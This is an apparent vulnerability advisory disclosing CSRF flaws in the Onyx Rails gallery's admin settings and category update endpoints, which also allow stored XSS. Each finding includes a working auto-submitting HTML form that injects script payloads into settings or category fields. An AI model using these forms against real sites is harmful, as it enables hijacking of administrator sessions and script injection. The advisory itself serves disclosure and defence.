Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Onyx which could be exploited to perform cross-site request forgery attacks.
1) Cross-site request forgery (CSRF) in Onyx
1.1 The vulnerability exists due to insufficient validation of the request origin in admin/settings/update. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings. Due to insufficient sanitation of input data in the "setting[site_keywords]" and "setting[site_description]" parameters it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/settings/update" method="post" name="main" >
<input type="hidden" name="setting[site_title]" value="My Onyx Gallery" />
<input type="hidden" name="setting[site_keywords]" value='Ruby on Rails Gallery"><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_description]" value='Onyx is an open source free ruby on rails gallery"><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[welcome_title]" value="Welcome!" />
<input type="hidden" name="setting[welcome_message]" value="Welcome to my gallery!" />
<input type="hidden" name="setting[uniform_width]" value="500" />
<input type="hidden" name="setting[uniform_height]" value="500" />
<input type="hidden" name="setting[thumbnail_width]" value="100" />
<input type="hidden" name="setting[thumbnail_height]" value="100" />
<input type="hidden" name="setting[dummy_watermark_enabled]" value="0" />
<input type="hidden" name="setting[tooltips_enabled]" value="1" />
<input type="hidden" name="setting[tooltip_width]" value="300" />
<input type="hidden" name="setting[maximum_uploadable_files]" value="10" />
<input type="hidden" name="commit" value="Update Settings" />
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to insufficient validation of the request origin in admin/categories/update. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify arbitrary sections. Due to insufficient sanitation of input data in the "category[description]" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/categories/update/1" method="post" name="main" >
<input type="hidden" name="category[name]" value="General" />
<input type="hidden" name="category[description]" value='My Pictures"><script>alert(document.cookie)</script>' />
<input type="hidden" name="category[created_at(1i)]" value="2010" />
<input type="hidden" name="category[created_at(2i)]" value="7" />
<input type="hidden" name="category[created_at(3i)]" value="23" />
<input type="hidden" name="category[created_at(4i)]" value="04" />
<input type="hidden" name="category[created_at(5i)]" value="00" />
<input type="hidden" name="commit" value="Edit" />
</form>
<script>
document.main.submit();
</script>
